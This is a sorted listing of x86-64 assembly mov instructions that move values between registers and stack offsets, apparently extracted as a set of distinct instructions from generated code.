mov rcx, [ rsp + 0x1c90 ]
mov rcx, [ rsp + 0x1d00 ]
mov rcx, [ rsp + 0x1d28 ]
mov rcx, [ rsp + 0x1db8 ]
mov rcx, [ rsp + 0x1ec0 ]
mov rcx, [ rsp + 0x1ee8 ]
mov rcx, [ rsp + 0x1f08 ]
mov rcx, [ rsp + 0x1f28 ]
mov rcx, [ rsp + 0x1fa0 ]
mov rcx, [ rsp + 0x1fa8 ]
mov rcx, [ rsp + 0x200 ]
mov rcx, [ rsp + 0x2090 ]
mov rcx, [ rsp + 0x20e0 ]
mov rcx, [ rsp + 0x21d8 ]
mov rcx, [ rsp + 0x2240 ]
mov rcx, [ rsp + 0x2300 ]
mov rcx, [ rsp + 0x2350 ]
mov rcx, [ rsp + 0x240 ]
mov rcx, [ rsp + 0x24c0 ]
mov rcx, [ rsp + 0x24d8 ]
mov rcx, [ rsp + 0x2508 ]
mov rcx, [ rsp + 0x2538 ]
mov rcx, [ rsp + 0x258 ]
mov rcx, [ rsp + 0x25e8 ]
mov rcx, [ rsp + 0x260 ]
mov rcx, [ rsp + 0x2668 ]
mov rcx, [ rsp + 0x2670 ]
mov rcx, [ rsp + 0x26a0 ]
mov rcx, [ rsp + 0x26a8 ]
mov rcx, [ rsp + 0x2768 ]
mov rcx, [ rsp + 0x27b8 ]
mov rcx, [ rsp + 0x28c0 ]
mov rcx, [ rsp + 0x28f0 ]
mov rcx, [ rsp + 0x2900 ]
mov rcx, [ rsp + 0x29f8 ]
mov rcx, [ rsp + 0x2a38 ]
mov rcx, [ rsp + 0x2a68 ]
mov rcx, [ rsp + 0x2a80 ]
mov rcx, [ rsp + 0x2af0 ]
mov rcx, [ rsp + 0x2c18 ]
mov rcx, [ rsp + 0x2d70 ]
mov rcx, [ rsp + 0x2de8 ]
mov rcx, [ rsp + 0x2e0 ]
mov rcx, [ rsp + 0x2e60 ]
mov rcx, [ rsp + 0x2f20 ]
mov rcx, [ rsp + 0x2f38 ]
mov rcx, [ rsp + 0x2f70 ]
mov rcx, [ rsp + 0x2f88 ]
mov rcx, [ rsp + 0x3070 ]
mov rcx, [ rsp + 0x308 ]
mov rcx, [ rsp + 0x3080 ]
mov rcx, [ rsp + 0x3088 ]
mov rcx, [ rsp + 0x30b8 ]
mov rcx, [ rsp + 0x3148 ]
mov rcx, [ rsp + 0x31a0 ]
mov rcx, [ rsp + 0x3250 ]
mov rcx, [ rsp + 0x3268 ]
mov rcx, [ rsp + 0x3368 ]
mov rcx, [ rsp + 0x33b8 ]
mov rcx, [ rsp + 0x33c0 ]
mov rcx, [ rsp + 0x3400 ]
mov rcx, [ rsp + 0x3438 ]
mov rcx, [ rsp + 0x3468 ]
mov rcx, [ rsp + 0x34a8 ]
mov rcx, [ rsp + 0x34c8 ]
mov rcx, [ rsp + 0x34d0 ]
mov rcx, [ rsp + 0x3510 ]
mov rcx, [ rsp + 0x3568 ]
mov rcx, [ rsp + 0x35c8 ]
mov rcx, [ rsp + 0x35e8 ]
mov rcx, [ rsp + 0x3768 ]
mov rcx, [ rsp + 0x37a8 ]
mov rcx, [ rsp + 0x38 ]
mov rcx, [ rsp + 0x38f8 ]
mov rcx, [ rsp + 0x3938 ]
mov rcx, [ rsp + 0x398 ]
mov rcx, [ rsp + 0x3e8 ]
mov rcx, [ rsp + 0x498 ]
mov rcx, [ rsp + 0x558 ]
mov rcx, [ rsp + 0x5a0 ]
mov rcx, [ rsp + 0x5b0 ]
mov rcx, [ rsp + 0x6e0 ]
mov rcx, [ rsp + 0x710 ]
mov rcx, [ rsp + 0x790 ]
mov rcx, [ rsp + 0x7e0 ]
mov rcx, [ rsp + 0x808 ]
mov rcx, [ rsp + 0x908 ]
mov rcx, [ rsp + 0x948 ]
mov rcx, [ rsp + 0xab8 ]
mov rcx, [ rsp + 0xb98 ]
mov rcx, [ rsp + 0xcb0 ]
mov rcx, [ rsp + 0xd30 ]
mov rcx, [ rsp + 0xe20 ]
mov rcx, [ rsp + 0xe38 ]
mov rcx, [ rsp + 0xe60 ]
mov rcx, [ rsp + 0xe98 ]
mov rcx, [ rsp + 0xff8 ]
mov [ rdi + 0x50 ], rcx
mov [ rdi + 0x8 ], rsi
mov [ rdi + 0xb0 ], rdx
mov [ rdi + 0xc0 ], rcx
mov rdi, r10
mov rdi, r11
mov rdi, r12
mov rdi, r13
mov rdi, r14
mov rdi, r15
mov rdi, r8
mov rdi, r9
mov rdi, rax
mov rdi, rbp
mov rdi, rbx
mov rdi, rcx
mov rdi, rdx
mov rdi, rsi
mov rdi, [ rsi + 0x28 ]
mov rdi, [ rsi + 0x70 ]
mov rdi, [ rsp + 0x1020 ]
mov rdi, [ rsp + 0x1068 ]
mov rdi, [ rsp + 0x10d0 ]
mov rdi, [ rsp + 0x10d8 ]
mov rdi, [ rsp + 0x1158 ]
mov rdi, [ rsp + 0x1190 ]
mov rdi, [ rsp + 0x1280 ]
mov rdi, [ rsp + 0x12b8 ]
mov rdi, [ rsp + 0x13a8 ]
mov rdi, [ rsp + 0x13e0 ]
mov rdi, [ rsp + 0x1420 ]
mov rdi, [ rsp + 0x1440 ]
mov rdi, [ rsp + 0x1508 ]
mov rdi, [ rsp + 0x1568 ]
mov rdi, [ rsp + 0x1588 ]
mov rdi, [ rsp + 0x1598 ]
mov rdi, [ rsp + 0x15d0 ]
mov rdi, [ rsp + 0x17d8 ]
mov rdi, [ rsp + 0x1898 ]
mov rdi, [ rsp + 0x18d0 ]
mov rdi, [ rsp + 0x1908 ]
mov rdi, [ rsp + 0x198 ]
mov rdi, [ rsp + 0x1988 ]
mov rdi, [ rsp + 0x19f8 ]
mov rdi, [ rsp + 0x1a60 ]
mov rdi, [ rsp + 0x1a88 ]
mov rdi, [ rsp + 0x1ae8 ]
mov rdi, [ rsp + 0x1b18 ]
mov rdi, [ rsp + 0x1ba0 ]
mov rdi, [ rsp + 0x1bb8 ]
mov rdi, [ rsp + 0x1c30 ]
mov rdi, [ rsp + 0x1cc8 ]
mov rdi, [ rsp + 0x1d18 ]
mov rdi, [ rsp + 0x1d38 ]
mov rdi, [ rsp + 0x1e50 ]
mov rdi, [ rsp + 0x1eb0 ]
mov rdi, [ rsp + 0x1fc0 ]
mov rdi, [ rsp + 0x1fd8 ]
mov rdi, [ rsp + 0x2080 ]
mov rdi, [ rsp + 0x20a8 ]
mov rdi, [ rsp + 0x2278 ]
mov rdi, [ rsp + 0x22d8 ]
mov rdi, [ rsp + 0x22f0 ]
mov rdi, [ rsp + 0x2398 ]
mov rdi, [ rsp + 0x23e8 ]
mov rdi, [ rsp + 0x2410 ]
mov rdi, [ rsp + 0x2448 ]
mov rdi, [ rsp + 0x2550 ]
mov rdi, [ rsp + 0x2640 ]
mov rdi, [ rsp + 0x2690 ]
mov rdi, [ rsp + 0x26c8 ]
mov rdi, [ rsp + 0x26d8 ]
mov rdi, [ rsp + 0x2720 ]
mov rdi, [ rsp + 0x27a0 ]
mov rdi, [ rsp + 0x28e8 ]
mov rdi, [ rsp + 0x2910 ]
mov rdi, [ rsp + 0x2928 ]
mov rdi, [ rsp + 0x29c8 ]
mov rdi, [ rsp + 0x2a08 ]
mov rdi, [ rsp + 0x2ab8 ]
mov rdi, [ rsp + 0x2b20 ]
mov rdi, [ rsp + 0x2b58 ]
mov rdi, [ rsp + 0x2b60 ]
mov rdi, [ rsp + 0x2b68 ]
mov rdi, [ rsp + 0x2be0 ]
mov rdi, [ rsp + 0x2c38 ]
mov rdi, [ rsp + 0x2c48 ]
mov rdi, [ rsp + 0x2ca8 ]
mov rdi, [ rsp + 0x2cc0 ]
mov rdi, [ rsp + 0x2d78 ]
mov rdi, [ rsp + 0x2e18 ]
mov rdi, [ rsp + 0x2e8 ]
mov rdi, [ rsp + 0x3168 ]
mov rdi, [ rsp + 0x3188 ]
mov rdi, [ rsp + 0x3238 ]
mov rdi, [ rsp + 0x3280 ]
mov rdi, [ rsp + 0x32a0 ]
mov rdi, [ rsp + 0x32a8 ]
mov rdi, [ rsp + 0x32d0 ]
mov rdi, [ rsp + 0x3348 ]
mov rdi, [ rsp + 0x3408 ]
mov rdi, [ rsp + 0x3498 ]
mov rdi, [ rsp + 0x34e8 ]
mov rdi, [ rsp + 0x3528 ]
mov rdi, [ rsp + 0x36a8 ]
mov rdi, [ rsp + 0x36e0 ]
mov rdi, [ rsp + 0x3748 ]
mov rdi, [ rsp + 0x37f8 ]
mov rdi, [ rsp + 0x3900 ]
mov rdi, [ rsp + 0x408 ]
mov rdi, [ rsp + 0x420 ]
mov rdi, [ rsp + 0x470 ]
mov rdi, [ rsp + 0x48 ]
mov rdi, [ rsp + 0x4d8 ]
mov rdi, [ rsp + 0x598 ]
mov rdi, [ rsp + 0x5d8 ]
mov rdi, [ rsp + 0x618 ]
mov rdi, [ rsp + 0x630 ]
mov rdi, [ rsp + 0x690 ]
mov rdi, [ rsp + 0x748 ]
mov rdi, [ rsp + 0x798 ]
mov rdi, [ rsp + 0x7a8 ]
mov rdi, [ rsp + 0x7b8 ]
mov rdi, [ rsp + 0x7d0 ]
mov rdi, [ rsp + 0x7f0 ]
mov rdi, [ rsp + 0x8 ]
mov rdi, [ rsp + 0x820 ]
mov rdi, [ rsp + 0x830 ]
mov rdi, [ rsp + 0x90 ]
mov rdi, [ rsp + 0x9a8 ]
mov rdi, [ rsp + 0x9c8 ]
mov rdi, [ rsp + 0xa58 ]
mov rdi, [ rsp + 0xa8 ]
mov rdi, [ rsp + 0xaa0 ]
mov rdi, [ rsp + 0xbc0 ]
mov rdi, [ rsp + 0xbf8 ]
mov rdi, [ rsp + 0xc80 ]
mov rdi, [ rsp + 0xce8 ]
mov rdi, [ rsp + 0xd0 ]
mov rdi, [ rsp + 0xd58 ]
mov rdi, [ rsp + 0xde0 ]
mov rdi, [ rsp + 0xe28 ]
mov rdi, [ rsp + 0xe78 ]
mov rdi, [ rsp + 0xed0 ]
mov rdi, [ rsp + 0xf00 ]
mov rdi, [ rsp + 0xf48 ]
mov rdi, [ rsp + 0xfb8 ]
mov rdi, [ rsp + 0xfc0 ]
mov rdi, [ rsp + 0xff0 ]
mov [ rdx + 0x70 ], rbx
mov rdx, r10
mov rdx, r11
mov rdx, r12
mov rdx, r13
mov rdx, r14
mov rdx, r15
mov rdx, r8
mov rdx, r9
mov rdx, rax
mov rdx, rbp
mov rdx, rbx
mov rdx, rcx
mov rdx, rdi
mov rdx, rsi
mov rdx, [ rsi + 0x18 ]
mov rdx, [ rsi + 0xa0 ]
mov rdx, [ rsp + 0x1018 ]
mov rdx, [ rsp + 0x10b8 ]
mov rdx, [ rsp + 0x11d0 ]
mov rdx, [ rsp + 0x1390 ]
mov rdx, [ rsp + 0x13d8 ]
mov rdx, [ rsp + 0x1528 ]
mov rdx, [ rsp + 0x15a8 ]
mov rdx, [ rsp + 0x1650 ]
mov rdx, [ rsp + 0x1668 ]
mov rdx, [ rsp + 0x1670 ]
mov rdx, [ rsp + 0x1720 ]
mov rdx, [ rsp + 0x1770 ]
mov rdx, [ rsp + 0x1948 ]
mov rdx, [ rsp + 0x1cf0 ]
mov rdx, [ rsp + 0x1d20 ]
mov rdx, [ rsp + 0x1d48 ]
mov rdx, [ rsp + 0x1f40 ]
mov rdx, [ rsp + 0x1f50 ]
mov rdx, [ rsp + 0x1fd0 ]
mov rdx, [ rsp + 0x2048 ]
mov rdx, [ rsp + 0x20d8 ]
mov rdx, [ rsp + 0x2298 ]
mov rdx, [ rsp + 0x22e8 ]
mov rdx, [ rsp + 0x2338 ]
mov rdx, [ rsp + 0x23b0 ]
mov rdx, [ rsp + 0x23c0 ]
mov rdx, [ rsp + 0x23e0 ]
mov rdx, [ rsp + 0x2488 ]
mov rdx, [ rsp + 0x2580 ]
mov rdx, [ rsp + 0x2590 ]
mov rdx, [ rsp + 0x25b0 ]
mov rdx, [ rsp + 0x25f0 ]
mov rdx, [ rsp + 0x2638 ]
mov rdx, [ rsp + 0x2658 ]
mov rdx, [ rsp + 0x2700 ]
mov rdx, [ rsp + 0x27e0 ]
mov rdx, [ rsp + 0x2810 ]
mov rdx, [ rsp + 0x2848 ]
mov rdx, [ rsp + 0x2b00 ]
mov rdx, [ rsp + 0x2ba8 ]
mov rdx, [ rsp + 0x2bc8 ]
mov rdx, [ rsp + 0x2c0 ]
mov rdx, [ rsp + 0x2c00 ]
mov rdx, [ rsp + 0x2c30 ]
mov rdx, [ rsp + 0x2cc8 ]
mov rdx, [ rsp + 0x2cd8 ]
mov rdx, [ rsp + 0x2db8 ]
mov rdx, [ rsp + 0x2ea8 ]
mov rdx, [ rsp + 0x3018 ]
mov rdx, [ rsp + 0x3068 ]
mov rdx, [ rsp + 0x30b0 ]
mov rdx, [ rsp + 0x30f8 ]
mov rdx, [ rsp + 0x310 ]
mov rdx, [ rsp + 0x3100 ]
mov rdx, [ rsp + 0x3190 ]
mov rdx, [ rsp + 0x31b0 ]
mov rdx, [ rsp + 0x31d0 ]
mov rdx, [ rsp + 0x320 ]
mov rdx, [ rsp + 0x3260 ]
mov rdx, [ rsp + 0x3308 ]
mov rdx, [ rsp + 0x33e0 ]
mov rdx, [ rsp + 0x36c8 ]
mov rdx, [ rsp + 0x36f8 ]
mov rdx, [ rsp + 0x3768 ]
mov rdx, [ rsp + 0x3788 ]
mov rdx, [ rsp + 0x3840 ]
mov rdx, [ rsp + 0x3868 ]
mov rdx, [ rsp + 0x3870 ]
mov rdx, [ rsp + 0x3878 ]
mov rdx, [ rsp + 0x3898 ]
mov rdx, [ rsp + 0x38a8 ]
mov rdx, [ rsp + 0x3950 ]
mov rdx, [ rsp + 0x3b0 ]
mov rdx, [ rsp + 0x40 ]
mov rdx, [ rsp + 0x430 ]
mov rdx, [ rsp + 0x48 ]
mov rdx, [ rsp + 0x6c0 ]
mov rdx, [ rsp + 0x70 ]
mov rdx, [ rsp + 0x708 ]
mov rdx, [ rsp + 0x758 ]
mov rdx, [ rsp + 0x768 ]
mov rdx, [ rsp + 0x840 ]
mov rdx, [ rsp + 0x860 ]
mov rdx, [ rsp + 0x890 ]
mov rdx, [ rsp + 0x8a8 ]
mov rdx, [ rsp + 0x8d8 ]
mov rdx, [ rsp + 0x8e0 ]
mov rdx, [ rsp + 0x938 ]
mov rdx, [ rsp + 0x958 ]
mov rdx, [ rsp + 0x990 ]
mov rdx, [ rsp + 0x9b0 ]
mov rdx, [ rsp + 0x9e8 ]
mov rdx, [ rsp + 0x9f0 ]
mov rdx, [ rsp + 0xa30 ]
mov rdx, [ rsp + 0xaa8 ]
mov rdx, [ rsp + 0xad8 ]
mov rdx, [ rsp + 0xb28 ]
mov rdx, [ rsp + 0xc0 ]
mov rdx, [ rsp + 0xc08 ]
mov rdx, [ rsp + 0xc38 ]
mov rdx, [ rsp + 0xc60 ]
mov rdx, [ rsp + 0xcb8 ]
mov rdx, [ rsp + 0xd08 ]
mov rdx, [ rsp + 0xdb0 ]
mov rdx, [ rsp + 0xe40 ]
mov rdx, [ rsp + 0xe48 ]
mov rdx, [ rsp + 0xe8 ]
mov rdx, [ rsp + 0xea8 ]
mov rdx, [ rsp + 0xeb0 ]
mov rdx, [ rsp + 0xfd0 ]
mov [ rsi + rax + 0x18 ], rdx
mov [ rsi + rbp + 0x40 ], r10
mov [ rsi + r14 + 0x78 ], r9
mov [ rsi + r11 + 0x80 ], r10
mov [ rsi + r9 + 0x90 ], r14
mov rsi, r10
mov rsi, r11
mov rsi, r12
mov rsi, r13
mov rsi, r14
mov rsi, r15
mov rsi, r8
mov rsi, r9
mov rsi, rax
mov rsi, rbp
mov rsi, rbx
mov rsi, rcx
mov rsi, rdi
mov rsi, rdx
mov rsi, [ rsp + 0x1190 ]
mov rsi, [ rsp + 0x12f0 ]
mov rsi, [ rsp + 0x130 ]
mov rsi, [ rsp + 0x13d0 ]
mov rsi, [ rsp + 0x1408 ]
mov rsi, [ rsp + 0x1438 ]
mov rsi, [ rsp + 0x150 ]
mov rsi, [ rsp + 0x1620 ]
mov rsi, [ rsp + 0x16b0 ]
mov rsi, [ rsp + 0x1748 ]
mov rsi, [ rsp + 0x17b8 ]
mov rsi, [ rsp + 0x17d0 ]
mov rsi, [ rsp + 0x17f8 ]
mov rsi, [ rsp + 0x18 ]
mov rsi, [ rsp + 0x1810 ]
mov rsi, [ rsp + 0x1848 ]
mov rsi, [ rsp + 0x1850 ]
mov rsi, [ rsp + 0x18e0 ]
mov rsi, [ rsp + 0x1950 ]
mov rsi, [ rsp + 0x19d0 ]
mov rsi, [ rsp + 0x1a00 ]
mov rsi, [ rsp + 0x1a08 ]
mov rsi, [ rsp + 0x1a28 ]
mov rsi, [ rsp + 0x1b0 ]
mov rsi, [ rsp + 0x1b40 ]
mov rsi, [ rsp + 0x1bd8 ]
mov rsi, [ rsp + 0x1c58 ]
mov rsi, [ rsp + 0x1c80 ]
mov rsi, [ rsp + 0x1d78 ]
mov rsi, [ rsp + 0x1d8 ]
mov rsi, [ rsp + 0x1db0 ]
mov rsi, [ rsp + 0x1de0 ]
mov rsi, [ rsp + 0x1df0 ]
mov rsi, [ rsp + 0x1e00 ]
mov rsi, [ rsp + 0x1e60 ]
mov rsi, [ rsp + 0x1e98 ]
mov rsi, [ rsp + 0x1ef8 ]
mov rsi, [ rsp + 0x1f70 ]
mov rsi, [ rsp + 0x1fc8 ]
mov rsi, [ rsp + 0x2078 ]
mov rsi, [ rsp + 0x21e0 ]
mov rsi, [ rsp + 0x2268 ]
mov rsi, [ rsp + 0x2380 ]
mov rsi, [ rsp + 0x23e8 ]
mov rsi, [ rsp + 0x2468 ]
mov rsi, [ rsp + 0x2478 ]
mov rsi, [ rsp + 0x24c8 ]
mov rsi, [ rsp + 0x24f0 ]
mov rsi, [ rsp + 0x2530 ]
mov rsi, [ rsp + 0x2548 ]
mov rsi, [ rsp + 0x2558 ]
mov rsi, [ rsp + 0x25c0 ]
mov rsi, [ rsp + 0x2618 ]
mov rsi, [ rsp + 0x2718 ]
mov rsi, [ rsp + 0x27b0 ]
mov rsi, [ rsp + 0x2858 ]
mov rsi, [ rsp + 0x2870 ]
mov rsi, [ rsp + 0x28a8 ]
mov rsi, [ rsp + 0x290 ]
mov rsi, [ rsp + 0x29d8 ]
mov rsi, [ rsp + 0x2a20 ]
mov rsi, [ rsp + 0x2a70 ]
mov rsi, [ rsp + 0x2b00 ]
mov rsi, [ rsp + 0x2b50 ]
mov rsi, [ rsp + 0x2bc0 ]
mov rsi, [ rsp + 0x2c08 ]
mov rsi, [ rsp + 0x2c10 ]
mov rsi, [ rsp + 0x2c60 ]
mov rsi, [ rsp + 0x2cf0 ]
mov rsi, [ rsp + 0x2cf8 ]
mov rsi, [ rsp + 0x2d08 ]
mov rsi, [ rsp + 0x2e20 ]
mov rsi, [ rsp + 0x2e28 ]
mov rsi, [ rsp + 0x2ee8 ]
mov rsi, [ rsp + 0x2f00 ]
mov rsi, [ rsp + 0x2f30 ]
mov rsi, [ rsp + 0x2f78 ]
mov rsi, [ rsp + 0x2fd0 ]
mov rsi, [ rsp + 0x2fd8 ]
mov rsi, [ rsp + 0x2fe0 ]
mov rsi, [ rsp + 0x3130 ]
mov rsi, [ rsp + 0x31a8 ]
mov rsi, [ rsp + 0x31c0 ]
mov rsi, [ rsp + 0x31c8 ]
mov rsi, [ rsp + 0x31f8 ]
mov rsi, [ rsp + 0x3230 ]
mov rsi, [ rsp + 0x330 ]
mov rsi, [ rsp + 0x3350 ]
mov rsi, [ rsp + 0x3450 ]
mov rsi, [ rsp + 0x348 ]
mov rsi, [ rsp + 0x34a0 ]
mov rsi, [ rsp + 0x34d8 ]
mov rsi, [ rsp + 0x3640 ]
mov rsi, [ rsp + 0x37b0 ]
mov rsi, [ rsp + 0x398 ]
mov rsi, [ rsp + 0x400 ]
mov rsi, [ rsp + 0x48 ]
mov rsi, [ rsp + 0x50 ]
mov rsi, [ rsp + 0x510 ]
mov rsi, [ rsp + 0x528 ]
mov rsi, [ rsp + 0x5d8 ]
mov rsi, [ rsp + 0x60 ]
mov rsi, [ rsp + 0x698 ]
mov rsi, [ rsp + 0x6f8 ]
mov rsi, [ rsp + 0x720 ]
mov rsi, [ rsp + 0x7a0 ]
mov rsi, [ rsp + 0x890 ]
mov rsi, [ rsp + 0x9a0 ]
mov rsi, [ rsp + 0x9c0 ]
mov rsi, [ rsp + 0xb60 ]
mov rsi, [ rsp + 0xc50 ]
mov rsi, [ rsp + 0xc88 ]
mov rsi, [ rsp + 0xe78 ]
mov [ rsp + 0x0 ], r11
mov [ rsp + 0x1000 ], rbx
mov [ rsp + 0x1008 ], r11
mov [ rsp + 0x100 ], r10
mov [ rsp + 0x1010 ], r8
mov [ rsp + 0x1018 ], r9
mov [ rsp + 0x1020 ], rbp
mov [ rsp + 0x1028 ], r8
mov [ rsp + 0x1030 ], rdi
mov [ rsp + 0x1038 ], r14
mov [ rsp + 0x1040 ], r14
mov [ rsp + 0x1048 ], rbx
mov [ rsp + 0x1050 ], r10
mov [ rsp + 0x1058 ], rdx
mov [ rsp + 0x1060 ], rax
mov [ rsp + 0x1068 ], r12
mov [ rsp + 0x1070 ], rbp
mov [ rsp + 0x1078 ], rcx
mov [ rsp + 0x1080 ], r14
mov [ rsp + 0x1088 ], r12
mov [ rsp + 0x108 ], rdx
mov [ rsp + 0x1090 ], r9
mov [ rsp + 0x1098 ], rdx
mov [ rsp + 0x10a0 ], r12
mov [ rsp + 0x10a8 ], rdi
mov [ rsp + 0x10b0 ], r13
mov [ rsp + 0x10b8 ], rbx
mov [ rsp + 0x10c0 ], rbp
mov [ rsp + 0x10c8 ], r8
mov [ rsp + 0x10d0 ], r9
mov [ rsp + 0x10d8 ], r12
mov [ rsp + 0x10e0 ], r15
mov [ rsp + 0x10e8 ], r12
mov [ rsp + 0x10f0 ], r14
mov [ rsp + 0x10f8 ], r15
mov [ rsp + 0x10 ], r13
mov [ rsp + 0x1100 ], rsi
mov [ rsp + 0x1108 ], rbp
mov [ rsp + 0x110 ], rbx
mov [ rsp + 0x1110 ], rax
mov [ rsp + 0x1118 ], rbx
mov [ rsp + 0x1120 ], r9
mov [ rsp + 0x1128 ], rcx
mov [ rsp + 0x1130 ], r15
mov [ rsp + 0x1138 ], r9
mov [ rsp + 0x1140 ], r9
mov [ rsp + 0x1148 ], r9
mov [ rsp + 0x1150 ], r12
mov [ rsp + 0x1158 ], r8
mov [ rsp + 0x1160 ], r9
mov [ rsp + 0x1168 ], r11
mov [ rsp + 0x1170 ], r11
mov [ rsp + 0x1178 ], r15
mov [ rsp + 0x1180 ], rbp
mov [ rsp + 0x1188 ], rdi
mov [ rsp + 0x118 ], r15
mov [ rsp + 0x1190 ], r15
mov [ rsp + 0x1198 ], rdx
mov [ rsp + 0x11a0 ], rsi
mov [ rsp + 0x11a8 ], r12
mov [ rsp + 0x11b0 ], r13
mov [ rsp + 0x11b8 ], rdi
mov [ rsp + 0x11c0 ], r12
mov [ rsp + 0x11c8 ], r11
mov [ rsp + 0x11d0 ], r11
mov [ rsp + 0x11d8 ], r10
mov [ rsp + 0x11e0 ], rbx
mov [ rsp + 0x11e8 ], r9
mov [ rsp + 0x11f0 ], r12
mov [ rsp + 0x11f8 ], rcx
mov [ rsp + 0x1200 ], r11
mov [ rsp + 0x1208 ], r11
mov [ rsp + 0x120 ], rcx
mov [ rsp + 0x1210 ], r14
mov [ rsp + 0x1218 ], r13
mov [ rsp + 0x1220 ], r11
mov [ rsp + 0x1228 ], r12
mov [ rsp + 0x1230 ], r11
mov [ rsp + 0x1238 ], r15
mov [ rsp + 0x1240 ], rsi
mov [ rsp + 0x1248 ], r14
mov [ rsp + 0x1250 ], rdi
mov [ rsp + 0x1258 ], rdx
mov [ rsp + 0x1260 ], r13
mov [ rsp + 0x1268 ], rbx
mov [ rsp + 0x1270 ], r9
mov [ rsp + 0x1278 ], rdi
mov [ rsp + 0x1280 ], r8
mov [ rsp + 0x1288 ], rdx
mov [ rsp + 0x128 ], rax
mov [ rsp + 0x1290 ], rdx
mov [ rsp + 0x1298 ], r10
mov [ rsp + 0x12a0 ], rbx
mov [ rsp + 0x12a8 ], rbp
mov [ rsp + 0x12b0 ], rcx
mov [ rsp + 0x12b8 ], r12
mov [ rsp + 0x12c0 ], r14
mov [ rsp + 0x12c8 ], rbx
mov [ rsp + 0x12d0 ], r11
mov [ rsp + 0x12d8 ], rdi
mov [ rsp + 0x12e0 ], rbx
mov [ rsp + 0x12e8 ], r9
mov [ rsp + 0x12f0 ], rcx
mov [ rsp + 0x12f8 ], rbx
mov [ rsp + 0x1300 ], r12
mov [ rsp + 0x1308 ], r14
mov [ rsp + 0x130 ], rsi
mov [ rsp + 0x1310 ], rdi
mov [ rsp + 0x1318 ], rcx
mov [ rsp + 0x1320 ], r14
mov [ rsp + 0x1328 ], r10
mov [ rsp + 0x1330 ], r14
mov [ rsp + 0x1338 ], r13
mov [ rsp + 0x1340 ], rsi
mov [ rsp + 0x1348 ], rdi
mov [ rsp + 0x1350 ], r9
mov [ rsp + 0x1358 ], r13
mov [ rsp + 0x1360 ], r10
mov [ rsp + 0x1368 ], rax
mov [ rsp + 0x1370 ], r10
mov [ rsp + 0x1378 ], r15
mov [ rsp + 0x1380 ], r10
mov [ rsp + 0x1388 ], r11
mov [ rsp + 0x138 ], r11
mov [ rsp + 0x1390 ], rbx
mov [ rsp + 0x1398 ], r8
mov [ rsp + 0x13a0 ], rcx
mov [ rsp + 0x13a8 ], rbx
mov [ rsp + 0x13b0 ], r11
mov [ rsp + 0x13b8 ], r8
mov [ rsp + 0x13c0 ], rbx
mov [ rsp + 0x13c8 ], rdx
mov [ rsp + 0x13d0 ], r13
mov [ rsp + 0x13d8 ], rbp
mov [ rsp + 0x13e0 ], rcx
mov [ rsp + 0x13e8 ], r8
mov [ rsp + 0x13f0 ], rdi
mov [ rsp + 0x13f8 ], r13
mov [ rsp + 0x1400 ], rbx
mov [ rsp + 0x1408 ], rbp
mov [ rsp + 0x140 ], r9
mov [ rsp + 0x1410 ], rbp
mov [ rsp + 0x1418 ], r14
mov [ rsp + 0x1420 ], rsi
mov [ rsp + 0x1428 ], rdx
mov [ rsp + 0x1430 ], r13
mov [ rsp + 0x1438 ], rdx
mov [ rsp + 0x1440 ], rbx
mov [ rsp + 0x1448 ], rsi
mov [ rsp + 0x1450 ], rdi
mov [ rsp + 0x1458 ], r11
mov [ rsp + 0x1460 ], rdi
mov [ rsp + 0x1468 ], rcx
mov [ rsp + 0x1470 ], rax
mov [ rsp + 0x1478 ], r10
mov [ rsp + 0x1480 ], rbx
mov [ rsp + 0x1488 ], r9
mov [ rsp + 0x148 ], rsi
mov [ rsp + 0x1490 ], rbp
mov [ rsp + 0x1498 ], rbp
mov [ rsp + 0x14a0 ], r12
mov [ rsp + 0x14a8 ], r13
mov [ rsp + 0x14b0 ], rcx
mov [ rsp + 0x14b8 ], r15
mov [ rsp + 0x14c0 ], r14
mov [ rsp + 0x14c8 ], rbx
mov [ rsp + 0x14d0 ], rcx
mov [ rsp + 0x14d8 ], r9
mov [ rsp + 0x14e0 ], r9
mov [ rsp + 0x14e8 ], r8
mov [ rsp + 0x14f0 ], r11
mov [ rsp + 0x14f8 ], r13
mov [ rsp + 0x1500 ], r9
mov [ rsp + 0x1508 ], rax
mov [ rsp + 0x150 ], r9
mov [ rsp + 0x1510 ], r15
mov [ rsp + 0x1518 ], r9
mov [ rsp + 0x1520 ], rsi
mov [ rsp + 0x1528 ], r10
mov [ rsp + 0x1530 ], r14
mov [ rsp + 0x1538 ], rax
mov [ rsp + 0x1540 ], r12
mov [ rsp + 0x1548 ], r8
mov [ rsp + 0x1550 ], rdi
mov [ rsp + 0x1558 ], r12
mov [ rsp + 0x1560 ], r13
mov [ rsp + 0x1568 ], r10
mov [ rsp + 0x1570 ], rcx
mov [ rsp + 0x1578 ], rbp
mov [ rsp + 0x1580 ], rax
mov [ rsp + 0x1588 ], r13
mov [ rsp + 0x158 ], rdi
mov [ rsp + 0x1590 ], r10
mov [ rsp + 0x1598 ], rax
mov [ rsp + 0x15a0 ], rdi
mov [ rsp + 0x15a8 ], r9
mov [ rsp + 0x15b0 ], r12
mov [ rsp + 0x15b8 ], rdi
mov [ rsp + 0x15c0 ], r14
mov [ rsp + 0x15c8 ], r11
mov [ rsp + 0x15d0 ], r14
mov [ rsp + 0x15d8 ], r12
mov [ rsp + 0x15e0 ], r11
mov [ rsp + 0x15e8 ], rdi
mov [ rsp + 0x15f0 ], rdi
mov [ rsp + 0x15f8 ], r14
mov [ rsp + 0x1600 ], r8
mov [ rsp + 0x1608 ], rbp
mov [ rsp + 0x160 ], r15
mov [ rsp + 0x1610 ], rax
mov [ rsp + 0x1618 ], r11
mov [ rsp + 0x1620 ], rcx
mov [ rsp + 0x1628 ], rbx
mov [ rsp + 0x1630 ], r9
mov [ rsp + 0x1638 ], r9
mov [ rsp + 0x1640 ], rax
mov [ rsp + 0x1648 ], rcx
mov [ rsp + 0x1650 ], r8
mov [ rsp + 0x1658 ], r15
mov [ rsp + 0x1660 ], r8
mov [ rsp + 0x1668 ], r14
mov [ rsp + 0x1670 ], rdx
mov [ rsp + 0x1678 ], r13
mov [ rsp + 0x1680 ], rdi
mov [ rsp + 0x1688 ], rbp
mov [ rsp + 0x168 ], rcx
mov [ rsp + 0x1690 ], rsi
mov [ rsp + 0x1698 ], rsi
mov [ rsp + 0x16a0 ], rax
mov [ rsp + 0x16a8 ], r10
mov [ rsp + 0x16b0 ], rcx
mov [ rsp + 0x16b8 ], r15
mov [ rsp + 0x16c0 ], r12
mov [ rsp + 0x16c8 ], rdx
mov [ rsp + 0x16d0 ], r13
mov [ rsp + 0x16d8 ], rdi
mov [ rsp + 0x16e0 ], rbp
mov [ rsp + 0x16e8 ], r10
